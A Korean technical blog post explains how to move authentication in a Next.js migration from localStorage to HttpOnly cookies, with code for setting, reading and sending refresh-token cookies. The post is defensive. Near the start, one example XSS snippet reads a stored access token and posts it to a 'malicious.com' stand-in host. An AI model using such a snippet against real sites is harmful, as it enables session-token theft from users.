Next.js 마이그레이션과 HttpOnly 쿠키 인증 전환기: localStorage의 유혹에서 벗어나기
Next.js로 전환하며 마주하는 인증 시스템의 고민, localStorage의 편리함 뒤에 숨겨진 보안 위협을 파헤치고 HttpOnly 쿠키를 활용한 안전하고 견고한 인증 전략을 소개합니다. XSS 공격으로부터 사용자를 보호하고, Access Token과 Refresh Token을 현명하게 관리하는 방법을 실용적인 코드 예제와 함께 알아보세요.
Next.js 마이그레이션과 HttpOnly 쿠키 인증 전환기: localStorage의 유혹에서 벗어나기
안녕하세요, 열정적인 프론트엔드 개발자이자 기술 블로거 여러분! 🚀
최근 Next.js로의 마이그레이션을 진행하면서, 기존 프로젝트의 인증 시스템을 어떻게 가져갈 것인가에 대한 깊은 고민에 빠졌습니다. 많은 웹 애플리케이션에서 Access Token과 Refresh Token을 localStorage에 저장하는 방식을 흔히 사용해왔지만, Next.js의 서버 사이드 렌더링(SSR) 및 보안 강화를 고려했을 때, 이 방식은 더 이상 최적의 선택이 아니라는 결론에 도달했습니다.
오늘은 localStorage의 편리함 뒤에 숨겨진 보안 취약점을 짚어보고, HttpOnly 쿠키를 활용하여 Next.js 환경에서 더욱 안전하고 견고한 인증 시스템을 구축하는 방법에 대해 저의 경험과 함께 자세히 이야기해보려 합니다. XSS 공격으로부터 사용자를 보호하고, 토큰을 현명하게 관리하는 실용적인 팁들을 얻어가시길 바랍니다.
왜 localStorage는 위험한가요? 🤔
localStorage는 브라우저에 데이터를 영구적으로 저장할 수 있는 편리한 웹 스토리지 API입니다. 키-값 쌍 형태로 문자열 데이터를 저장하며, JavaScript를 통해 쉽게 접근하고 조작할 수 있습니다. 바로 이 'JavaScript를 통해 쉽게 접근 가능'하다는 점이 Access Token과 같은 민감한 정보를 저장할 때 치명적인 보안 취약점으로 작용합니다.
가장 대표적인 위협은 XSS (Cross-Site Scripting) 공격입니다. 악의적인 스크립트가 웹 페이지에 주입될 경우, 해당 스크립트는 localStorage에 저장된 모든 데이터에 접근할 수 있습니다. 즉, 공격자는 사용자의 Access Token을 훔쳐 사용자를 가장하여 민감한 작업을 수행할 수 있게 됩니다. 이는 사용자의 개인 정보 유출뿐만 아니라 서비스 전체의 신뢰도에 심각한 타격을 줄 수 있습니다.
1// XSS 공격 예시: 악성 스크립트가 localStorage에 접근 2const accessToken = localStorage.getItem('accessToken'); 3// 공격자는 이 토큰을 자신의 서버로 전송하여 악용할 수 있습니다. 4fetch('https://malicious.com/steal-token', { 5 method: 'POST', 6 body: JSON.stringify({ token: accessToken }) 7});
HttpOnly 쿠키, 당신의 새로운 보안 지킴이 🛡️
그렇다면 localStorage의 대안은 무엇일까요? 바로 HttpOnly 쿠키입니다. 쿠키는 본래 서버와 클라이언트 간의 상태 정보를 유지하기 위해 사용되는 작은 데이터 조각입니다. 여기에 HttpOnly 속성을 추가하면, 해당 쿠키는 JavaScript에서 접근할 수 없게 됩니다.
즉, 웹 페이지에 XSS 공격으로 악성 스크립트가 주입되더라도, 그 스크립트는 HttpOnly 속성이 설정된 쿠키에 접근할 수 없으므로 Access Token이나 Refresh Token을 탈취하기가 훨씬 어려워집니다. 이는 XSS 공격에 대한 강력한 방어 메커니즘을 제공합니다.
HttpOnly 외에도 쿠키의 보안을 강화하는 중요한 속성들이 있습니다:
Secure: HTTPS 프로토콜에서만 쿠키가 전송되도록 강제합니다. 프로덕션 환경에서는 반드시 설정해야 합니다.SameSite: CSRF (Cross-Site Request Forgery) 공격을 방어하는 데 도움을 줍니다.Lax,Strict,None세 가지 값이 있으며, 보안 강화를 위해Lax또는Strict를 권장합니다. (SameSite=None을 사용하려면 반드시Secure와 함께 사용해야 합니다.)
일반적으로 Access Token은 유효 기간이 짧고 자주 갱신되므로, 보안성이 높은 HttpOnly 쿠키에 Refresh Token을 저장하고, Access Token은 HTTP 요청 헤더에 직접 포함하거나 메모리에 잠시 저장하는 전략을 사용합니다.
Next.js에서 HttpOnly 쿠키 인증 구현하기 ✨
Next.js는 서버 사이드 렌더링(SSR) 및 서버 컴포넌트(Next.js 13+ App Router) 기능을 통해 서버 환경에서 쿠키를 더욱 안전하고 효과적으로 다룰 수 있도록 지원합니다. 다음은 Next.js 환경에서 HttpOnly 쿠키를 활용한 인증 시스템을 구현하는 단계별 가이드입니다.
3.1 토큰 저장 전략: Access Token과 Refresh Token
가장 이상적인 전략은 다음과 같습니다:
- Refresh Token: 장기적으로 유효하며, 새로운 Access Token을 발급받는 데 사용됩니다. HttpOnly, Secure, SameSite=Lax/Strict 속성을 가진 쿠키에 저장합니다. JavaScript에서 접근할 수 없으므로 XSS로부터 안전합니다.
- Access Token: 단기적으로 유효하며, 실제 API 요청에 사용됩니다. 클라이언트 측에서
localStorage에 저장하는 대신, 다음 방법들을 고려할 수 있습니다:- 메모리(in-memory): 브라우저 세션 동안만 유지하고, 페이지 새로고침 시 사라집니다. 보안성이 높지만 사용자 경험이 저하될 수 있습니다.
- HTTP 요청 헤더: 백엔드에서 인증 후 Access Token을 응답 본문에 담아주면, 클라이언트가 이를 받아 Axios Interceptor 등으로 요청 헤더에 직접 추가하여 사용합니다.
- SSR/Server Component에서 직접 사용: Next.js의 서버 환경에서 Refresh Token을 사용하여 Access Token을 발급받아 즉시 API 요청에 사용하고, 클라이언트로는 Access Token을 보내지 않습니다.
이 글에서는 Refresh Token을 HttpOnly 쿠키에 저장하고, Access Token은 서버에서 갱신하여 API 요청에 직접 사용하는 방식을 중심으로 설명하겠습니다.
3.2 서버 사이드에서 쿠키 설정하기 (Next.js API Routes 또는 백엔드)
사용자가 로그인에 성공하면, 백엔드 서버는 Refresh Token을 HttpOnly 쿠키로 설정하여 응답해야 합니다. Next.js API Routes를 백엔드 삼아 사용한다면 다음과 같이 구현할 수 있습니다.
Next.js Pages Router API Route (예: /pages/api/login.ts):
1import { NextApiRequest, NextApiResponse } from 'next'; 2import { serialize } from 'cookie'; // 'cookie' 라이브러리 설치 필요 3 4export default async function loginHandler(req: NextApiRequest, res: NextApiResponse) { 5 if (req.method !== 'POST') { 6 return res.status(405).json({ message: 'Method Not Allowed' }); 7 } 8 9 // ... 사용자 인증 로직 (DB 조회, 비밀번호 검증 등) ... 10 // 백엔드에서 발급받은 Refresh Token 예시 11 const refreshToken = 'your_super_secure_refresh_token'; 12 const accessToken = 'your_short_lived_access_token'; // Access Token은 HttpOnly 쿠키에 저장하지 않음 13 14 // Refresh Token을 HttpOnly 쿠키로 설정 15 res.setHeader('Set-Cookie', serialize('refreshToken', refreshToken, { 16 httpOnly: true, // JavaScript 접근 불가 17 secure: process.env.NODE_ENV === 'production', // HTTPS에서만 전송 18 sameSite: 'Lax', // CSRF 방어 19 path: '/', // 모든 경로에서 접근 가능 20 maxAge: 60 * 60 * 24 * 7, // 7일 유효 (예시) 21 })); 22 23 // Access Token은 응답 본문에 담아 클라이언트에 전달 (클라이언트가 메모리 또는 세션 스토리지에 저장) 24 // 또는 Next.js SSR/Server Component에서만 사용하고 클라이언트로 보내지 않을 수도 있습니다. 25 res.status(200).json({ success: true, accessToken }); 26}
Next.js 13+ App Router API Route (예: /app/api/login/route.ts):
1import { NextResponse } from 'next/server'; 2import { cookies } from 'next/headers'; 3 4export async function POST(request: Request) { 5 // ... 사용자 인증 로직 ... 6 const refreshToken = 'your_super_secure_refresh_token'; 7 const accessToken = 'your_short_lived_access_token'; 8 9 cookies().set('refreshToken', refreshToken, { 10 httpOnly: true, 11 secure: process.env.NODE_ENV === 'production', 12 sameSite: 'Lax', 13 path: '/', 14 maxAge: 60 * 60 * 24 * 7, 15 }); 16 17 return NextResponse.json({ success: true, accessToken }); 18}
3.3 Next.js에서 쿠키 접근하기 (getServerSideProps 또는 Server Components)
Next.js의 서버 환경에서는 요청에 포함된 쿠키에 쉽게 접근할 수 있습니다. 이를 통해 Refresh Token을 읽어 Access Token을 갱신하거나 사용자 인증 상태를 확인할 수 있습니다.
Pages Router (getServerSideProps):
1// pages/profile.tsx (Next.js Pages Router) 2import { GetServerSideProps } from 'next'; 3import { parse } from 'cookie'; // 'cookie' 라이브러리 설치 필요 4 5export const getServerSideProps: GetServerSideProps = async (context) => { 6 const { req } = context; 7 const cookies = req.headers.cookie ? parse(req.headers.cookie) : {}; 8 const refreshToken = cookies.refreshToken || null; 9 10 if (!refreshToken) { 11 return { redirect: { destination: '/login', permanent: false } }; 12 } 13 14 // 여기에서 refreshToken을 사용하여 새로운 Access Token을 발급받거나 15 // 백엔드에 사용자 정보를 요청하는 등의 인증 로직을 수행합니다. 16 try { 17 const response = await fetch(`${process.env.API_URL}/refresh-token`, { 18 method: 'POST', 19 headers: { 'Content-Type': 'application/json' }, 20 body: JSON.stringify({ refreshToken }), 21 }); 22 const data = await response.json(); 23 24 if (!response.ok) { 25 throw new Error(data.message || 'Failed to refresh token'); 26 } 27 28 const newAccessToken = data.accessToken; 29 // 새로운 Access Token을 사용하여 API 호출 30 const userResponse = await fetch(`${process.env.API_URL}/user/profile`, { 31 headers: { 'Authorization': `Bearer ${newAccessToken}` }, 32 }); 33 const userData = await userResponse.json(); 34 35 return { props: { user: userData } }; 36 } catch (error) { 37 console.error('Authentication error:', error); 38 return { redirect: { destination: '/login', permanent: false } }; 39 } 40}; 41 42function ProfilePage({ user }: { user: any }) { 43 return ( 44 <div> 45 <h1>Welcome, {user.name}!</h1> 46 <p>Email: {user.email}</p> 47 </div> 48 ); 49} 50 51export default ProfilePage;
Next.js 13+ App Router (Server Components 또는 Route Handlers):
1// app/profile/page.tsx (App Router Server Component) 2import { cookies } from 'next/headers'; 3import { redirect } from 'next/navigation'; 4 5async function getProfileData() { 6 const cookieStore = cookies(); 7 const refreshToken = cookieStore.get('refreshToken')?.value; 8 9 if (!refreshToken) { 10 redirect('/login'); // 로그인 페이지로 리다이렉트 11 } 12 13 try { 14 // Refresh Token을 사용하여 Access Token 갱신 및 API 호출 15 const refreshResponse = await fetch(`${process.env.API_URL}/refresh-token`, { 16 method: 'POST', 17 headers: { 'Content-Type': 'application/json' }, 18 body: JSON.stringify({ refreshToken }), 19 cache: 'no-store', // 토큰 갱신은 캐시하지 않음 20 }); 21 const refreshData = await refreshResponse.json(); 22 23 if (!refreshResponse.ok) { 24 throw new Error(refreshData.message || 'Failed to refresh token'); 25 } 26 27 const newAccessToken = refreshData.accessToken; 28 29 const userResponse = await fetch(`${process.env.API_URL}/user/profile`, { 30 headers: { 'Authorization': `Bearer ${newAccessToken}` }, 31 cache: 'no-store', 32 }); 33 const userData = await userResponse.json(); 34 35 if (!userResponse.ok) { 36 throw new Error(userData.message || 'Failed to fetch user profile'); 37 } 38 39 return userData; 40 } catch (error) { 41 console.error('Authentication error:', error); 42 redirect('/login'); 43 } 44} 45 46export default async function ProfilePage() { 47 const user = await getProfileData(); 48 49 return ( 50 <div> 51 <h1>Welcome, {user.name}!</h1> 52 <p>Email: {user.email}</p> 53 </div> 54 ); 55}
3.4 클라이언트에서 인증 요청 보내기
클라이언트 사이드에서 API 요청을 보낼 때는, 브라우저가 자동으로 쿠키를 포함하여 전송하도록 credentials: 'include' 옵션을 설정해야 합니다. axios나 fetch 모두 이 옵션을 지원합니다.
1// 클라이언트 사이드 (예: React Component) 2import axios from 'axios'; 3 4// axios 인스턴스 설정 5const api = axios.create({ 6 baseURL: 'https://api.example.com', 7 withCredentials: true, // 이 옵션이 HttpOnly 쿠키를 포함하여 요청을 보냅니다. 8}); 9 10// API 요청 예시 11async function fetchProtectedData() { 12 try { 13 // 이 요청에는 브라우저가 자동으로 'refreshToken' HttpOnly 쿠키를 포함합니다. 14 const response = await api.get('/protected-data'); 15 console.log(response.data); 16 } catch (error) { 17 console.error('Error fetching protected data:', error); 18 // 인증 실패 시 로그인 페이지로 리다이렉트 등의 처리 19 } 20} 21 22fetchProtectedData(); 23 24// fetch API 사용 시 25async function fetchWithCredentials() { 26 try { 27 const response = await fetch('https://api.example.com/protected-data', { 28 method: 'GET', 29 credentials: 'include', // 이 옵션이 HttpOnly 쿠키를 포함하여 요청을 보냅니다. 30 }); 31 const data = await response.json(); 32 console.log(data); 33 } catch (error) { 34 console.error('Error:', error); 35 } 36} 37 38fetchWithCredentials();
localStorage vs. HttpOnly Cookie: 비교 분석 📊
| 특징 | localStorage | HttpOnly Cookie |
|---|---|---|
| 보안 (XSS) | 🚨 매우 취약: JS 접근 가능, 토큰 탈취 위험 | ✅ 강력: JS 접근 불가, XSS로부터 안전 |
| CSRF 방어 | 🚫 직접 관련 없음 (헤더에 토큰 직접 추가) | ⚠️ 취약: SameSite 속성으로 방어 가능 (Lax/Strict 권장) |
| 크기 제한 | 5MB ~ 10MB (브라우저마다 다름) | 4KB (모든 요청에 포함되므로 작게 유지해야 함) |
| 자동 전송 | ❌ 요청 시마다 JS에서 수동으로 헤더 추가 필요 | ✅ 브라우저가 요청 시 자동으로 포함하여 전송 |
| 만료 제어 | ❌ 수동 구현 (개발자가 직접 만료 로직 처리) | ✅ 기본 제공 (Expires 또는 Max-Age 속성) |
| 접근성 | 브라우저 개발자 도구 및 JS 콘솔에서 쉽게 접근 | 브라우저 개발자 도구에서 확인 가능, JS 접근 불가 |
| 사용 용도 | 비민감한 사용자 설정, UI 상태 등 | 인증 토큰 (특히 Refresh Token), 세션 ID 등 민감 정보 |
흔히 저지르는 실수들 🚧
HttpOnly 쿠키를 사용하더라도 몇 가지 흔한 실수로 인해 보안이 약화될 수 있습니다. 다음 사항들을 주의 깊게 살펴보세요.
SameSite속성 누락 또는 잘못된 설정:SameSite=None을 사용하면서Secure속성을 빠뜨리면, HTTP 연결에서도 쿠키가 전송되어 보안 취약점이 발생합니다. 또한,SameSite=Lax나Strict를 사용하지 않아 CSRF 공격에 노출될 수 있습니다.Secure속성 누락: 프로덕션 환경에서Secure속성을 설정하지 않으면, HTTP 통신 시에도 쿠키가 평문으로 전송되어 중간자 공격(Man-in-the-Middle attack)에 취약해집니다. 반드시 HTTPS를 사용하고Secure를 설정해야 합니다.HttpOnly속성 누락: 이 속성을 빠뜨리면 쿠키가 JavaScript에서 접근 가능하게 되어, localStorage와 동일한 XSS 취약점을 갖게 됩니다. Refresh Token과 같은 민감한 정보는 반드시HttpOnly로 설정해야 합니다.- Refresh Token을
localStorage에 저장: HttpOnly 쿠키를 사용하기로 결정했음에도 불구하고, 여전히 Refresh Token을localStorage에 저장하는 실수를 저지르기도 합니다. 이는 HttpOnly 쿠키 사용의 이점을 완전히 상실하게 만듭니다. - 로그아웃 시 쿠키 무효화 누락: 사용자가 로그아웃할 때 서버에서 해당 Refresh Token을 무효화하고 클라이언트의 쿠키를 삭제하는 과정이 반드시 필요합니다. 단순히 클라이언트 측에서만 쿠키를 삭제하면, 만료되지 않은 Refresh Token이 여전히 유효할 수 있습니다.
💡 핵심 정리: Next.js 환경에서 안전한 인증을 위해 localStorage의 유혹에서 벗어나 HttpOnly 쿠키를 적극 활용해야 합니다. 특히 Refresh Token은 HttpOnly, Secure, SameSite 속성을 가진 쿠키에 저장하여 XSS 및 CSRF 공격으로부터 사용자를 보호하는 것이 핵심입니다.
다음 단계 🚀
- ✅ Refresh Token은
HttpOnly,Secure,SameSite=Lax또는Strict속성을 가진 쿠키에 저장하세요. - ✅ Access Token은 서버 사이드에서 갱신하여 API 호출에 사용하거나, 클라이언트에서는 메모리에 짧게 유지하는 전략을 고려하세요.
- ✅ Next.js의
getServerSideProps또는 App Router의 Server Components/Route Handlers를 활용하여 서버 환경에서 안전하게 쿠키를 다루세요. - ✅ 클라이언트에서
fetch또는axios사용 시credentials: 'include'옵션을 잊지 마세요. - ✅ CSRF 방어를 위해
SameSite속성을 적절히 설정하고, 필요하다면 추가적인 CSRF 토큰을 활용하는 것도 좋습니다.
이 글이 Next.js 프로젝트의 인증 시스템을 더욱 견고하게 만드는 데 도움이 되었기를 바랍니다. 보안은 선택이 아닌 필수입니다. 함께 더 안전한 웹 환경을 만들어나가요! 질문이나 의견이 있다면 언제든지 댓글로 남겨주세요. 다음 포스팅에서 또 만나요! 👋